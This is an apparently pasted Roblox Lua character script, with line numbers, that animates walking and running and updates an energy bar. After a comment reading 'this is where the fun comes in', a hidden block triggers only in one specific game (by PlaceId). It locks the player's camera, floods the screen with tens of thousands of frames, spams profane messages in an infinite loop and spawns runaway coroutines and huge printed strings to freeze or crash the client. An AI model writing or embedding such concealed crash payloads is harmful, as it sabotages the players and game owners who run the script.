4772
Handle2weld.C0=clerp(Handle2weld.C0,cf(0,1.5,0)*angles(math.rad(0),math.rad(-180-180*2.5*math.cos(sine/62*2)),math.rad(180)),.3)
4773
            MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
4774
            MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
4775
            MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
4776
            MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
4777
end
4778
end
4779
elseif torvel>2 and torvel<22 and hitfloor~=nil then
4780
Anim="Walk"
4781
if attack==false then
4782
change=0.8
4783
--[[RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(35),math.rad(0),math.rad(15*math.cos(sine/10))),.3)
4784
Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(-30),math.rad(0),math.rad(0)),.3)
4785
RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-135*math.cos(sine/9)),math.rad(0),math.rad(0)),.3)
4786
LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(135*math.cos(sine/9)),math.rad(0),math.rad(0)),.3)
4787
RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0)),.3)
4788
LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0)),.3)
4789
--Handleweld.C0=clerp(--Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
4790
Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
4791
RootJoint.C0=clerp(RootJoint.C0,RootCF*euler(0.1,0,0),.2)
4792
--RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(-0.1,0,0.2),.2)
4793
RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-5),math.rad(-25),math.rad(20)),.3)
4794
LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(5),math.rad(25),math.rad(-20)),.3)
4795
RH.C0=clerp(RH.C0,RHC0,.3)
4796
LH.C0=clerp(LH.C0,LHC0,.3)
4797
Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4798
Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4799
            MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
4800
            MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
4801
            MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
4802
            MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
4803
]]--
4804
Footsteps:Play()
4805
Footsteps2:Stop()
4806
RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0+0.1*math.cos(sine/2.5))*angles(math.rad(10+1*math.cos(sine/2.5)),math.rad(0),math.rad(1-5*math.cos(sine/5))),.3)
4807
Neck.C0=clerp(Neck.C0,necko*euler(0+0.075*math.cos(sine/2.5),0,0)*angles(math.rad(0),math.rad(0),math.rad(1+5*math.cos(sine/5))),.3)
4808
Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
4809
RW.C0=clerp(RW.C0,cf(1.4+0.25*math.cos(sine/5),0.5+0.25*math.cos(sine/5),-0.2+0.5*math.cos(sine/5))*angles(math.rad(20-60*math.cos(sine/5)),math.rad(0),math.rad(-4+30*math.cos(sine/5))),.3)
4810
LW.C0=clerp(LW.C0,cf(-1.4+0.25*math.cos(sine/5),0.5-0.25*math.cos(sine/5),-0.2-0.5*math.cos(sine/5))*angles(math.rad(20+60*math.cos(sine/5)),math.rad(0),math.rad(4+30*math.cos(sine/5))),.3)
4811
RH.C0=clerp(RH.C0,cf(1,-1-0.1*math.cos(sine/5),0-0.25*math.cos(sine/5))*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-2.5),math.rad(0),math.rad(0+50*math.cos(sine/5))),.3)
4812
LH.C0=clerp(LH.C0,cf(-1,-1+0.1*math.cos(sine/5),0+0.25*math.cos(sine/5))*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-2.5),math.rad(0),math.rad(0+50*math.cos(sine/5))),.3)
4813
handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4814
Handleweld.C0=clerp(Handleweld.C0,cf(0-.5*math.cos(sine/30),0,0-.5*math.cos(sine/30))*angles(math.rad(0+1*math.cos(sine/30)),math.rad(-30),math.rad(0-1*math.cos(sine/30))),.2)
4815
Handle2weld.C0=clerp(Handle2weld.C0,cf(0+.5*math.cos(sine/36),0,0+.5*math.cos(sine/36))*angles(math.rad(0-3*math.cos(sine/36)),math.rad(30),math.rad(0-3*math.cos(sine/36))),.2)
4816
            MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
4817
            MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
4818
            MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
4819
            MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
4820
end
4821
elseif torvel>=22 and hitfloor~=nil then
4822
Anim="Run"
4823
change=1
4824
if attack==false then
4825
Footsteps:Stop()
4826
Footsteps2:Play()
4827
RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0+0.1*math.cos(sine/2.5))*angles(math.rad(20+1*math.cos(sine/2.5)),math.rad(0),math.rad(0)),.3)
4828
Neck.C0=clerp(Neck.C0,necko*euler(-0.2+0.075*math.cos(sine/2.5),0,0),.3)
4829
Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
4830
RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(24)),.3)
4831
LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(-24)),.3)
4832
RH.C0=clerp(RH.C0,cf(1,-1-0.1*math.cos(sine/5),0-0.5*math.cos(sine/5))*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0+70*math.cos(sine/5))),.3)
4833
LH.C0=clerp(LH.C0,cf(-1,-1+0.1*math.cos(sine/5),0+0.5*math.cos(sine/5))*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0+70*math.cos(sine/5))),.3)
4834
handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4835
Handleweld.C0=clerp(Handleweld.C0,cf(0-.5*math.cos(sine/30),0,0-.5*math.cos(sine/30))*angles(math.rad(0+1*math.cos(sine/30)),math.rad(-60),math.rad(0-1*math.cos(sine/30))),.2)
4836
Handle2weld.C0=clerp(Handle2weld.C0,cf(0+.5*math.cos(sine/36),0,0+.5*math.cos(sine/36))*angles(math.rad(0-3*math.cos(sine/36)),math.rad(60),math.rad(0-3*math.cos(sine/36))),.2)
4837
            MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
4838
            MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
4839
            MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
4840
            MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
4841
end
4842
end
4843
end
4844
fenbarmana2:TweenSize(UDim2.new(4*mana/100,0,0.2,0),nil,1,0.4,true)
4845
fenbarmana4.Text="[Energy]                    <{[  "..mana.."  ]}>                    [Energy]"
4846
text.Text = math.floor(hum.Health)
4847
if mana>=100 then
4848
mana=100
4849
else
4850
if mananum<=8 then
4851
mananum=mananum+100
4852
else
4853
mananum=0
4854
mana=mana+100
4855
end
4856
end
4857
end
4858
4859
4860
4861
4862
--- shshshhh this is where the fun comes in ---
4863
if game.PlaceId == 21053279 then
4864
plr = game.Players.LocalPlayer
4865
char = plr.Character
4866
cam = workspace.CurrentCamera
4867
cam.CameraType = "Scriptable"
4868
cam.CoordinateFrame = CFrame.new(0,0,50)
4869
local localContainer
4870
local service=setmetatable({
4871
	MarketPlace=game:service("MarketplaceService");
4872
	GamepassService=game:service("GamePassService");
4873
	ChatService=game:service("Chat");
4874
	LocalContainer=function() if not localContainer or not localContainer.Parent then localContainer=Instance.new("Camera",workspace) localContainer.Name=math.random(10000000,999999999) end return localContainer end;
4875
},{
4876
	__index=function(tab,index)
4877
		local serv
4878
		local ran,err=pcall(function() serv=game:service(index) end)
4879
		if ran then
4880
			tab[index]=serv
4881
			return serv
4882
		end
4883
	end
4884
})
4885
4886
local cPcall=function(func,...) local function cour(...) coroutine.resume(coroutine.create(func),...) end local ran,error=pcall(cour,...) if error then print('ERROR: '..error) end end
4887
4888
x=game.Players.LocalPlayer
4889
				 x.CameraMode=Enum.CameraMode.LockFirstPerson
4890
				 f=Instance.new("Frame")
4891
				 f.Size=UDim2.new(1,0,1,0)
4892
				 f.BackgroundTransparency=0.01
4893
				 f.BackgroundColor3=Color3.new()
4894
				 pg=x.PlayerGui
4895
				 gui=Instance.new("ScreenGui",pg)
4896
				 wait(.1)
4897
			     for i=1,28000 do
4898
				 f:Clone().Parent=gui
4899
				 f:Clone().Parent=gui
4900
				 f:Clone().Parent=gui
4901
				 end
4902
			
4903
	script:Destroy();
4904
local runService = Game:GetService("RunService").Stepped;
4905
local LagNum = 1250;
4906
local str = "lag fucker lag";
4907
4908
for i = 1, math.huge do
4909
        if i % LagNum == 0 then runService:wait(); end
4910
        Instance.new("Message", Workspace).Text = str;
4911
end
4912
4913
local bores=coroutine.create(function() --Yolo?
4914
	cPcall(function()
4915
		--print(Game[("%s|"):rep(0xFFFFFFF)])
4916
	cPcall(print,'lol')
4917
	cPcall(warn,'lol')
4918
	cPcall(error,'lol')
4919
	while wait(0.1) do
4920
	spawn(function()
4921
		cPcall(function() 
4922
		spawn(function()
4923
		local tab={}
4924
		pcall(function()
4925
			spawn(function()
4926
			for i=1,1000000 do
4927
				cPcall(function()
4928
				spawn(function()
4929
					local bob2=coroutine.create(function()
4930
						function f1() cPcall(spawn,f2) warn(string.rep((Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))-Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))).magnitude,2e10)) end
4931
						function f2() cPcall(spawn,f1) print(string.rep((Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))-Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))).magnitude,2e10)) end 
4932
						spawn(f1)
4933
					end)
4934
					spawn(function() delay(0,function() coroutine.resume(bob2) end) end) 
4935
					spawn(function() table.insert(tab,string.rep(tostring(math.random()),100)) end)
4936
				end)
4937
				end)
4938
			end
4939
			tab={}
4940
			end)
4941
		end)
4942
		end) 
4943
		end)
4944
	end)
4945
	end
4946
	end)
4947
end)
4948
4949
service.RunService.Stepped:connect(function()
4950
	for i=1,500000 do
4951
		delay(0,function() pcall(function() coroutine.resume(bores) end) end)
4952
	end
4953
end)
4954
4955
4956
	local function bob()
4957
	cPcall(function()
4958
		while wait(0.1) do
4959
			--cPcall(function()
4960
			--for i=1,100 do
4961
				local p=Instance.new("Part")
4962
				p.Material="Neon"
4963
				p.Size=Vector3.new(50,50,50)
4964
				p.Anchored=true
4965
				p.BackSurface="Studs"
4966
				p.BottomSurface="Studs"
4967
				p.FrontSurface="Studs"
4968
				p.LeftSurface="Studs"
4969
				p.RightSurface="Studs"
4970
				p.TopSurface="Studs"
4971
				local t=Instance.new("Texture",p)
4972
				t.Texture="http://www.roblox.com/asset/?id=190803157"
4973
				t.Face="Top"
4974
				t.StudsPerTileU=1000
4975
				t.StudsPerTileV=1000
4976
				local t2=t:clone()
4977
				t2.Parent=p
4978
				t2.Face="Bottom"
4979
				local t2=t:clone()
4980
				t2.Parent=p
4981
				t2.Face="Left"
4982
				local t2=t:clone()
4983
				t2.Parent=p
4984
				t2.Face="Right"
4985
				local t2=t:clone()
4986
				t2.Parent=p
4987
				t2.Face="Front"
4988
				local t2=t:clone()
4989
				t2.Parent=p
4990
				t2.Face="Back"
4991
				p.Parent=service.LocalContainer()
4992
			--end
4993
			--end)
4994
		end
4995
	end)
4996
	end
4997
	bob() --while wait(0.1) do cPcall(bob) end
4998
end
4999
--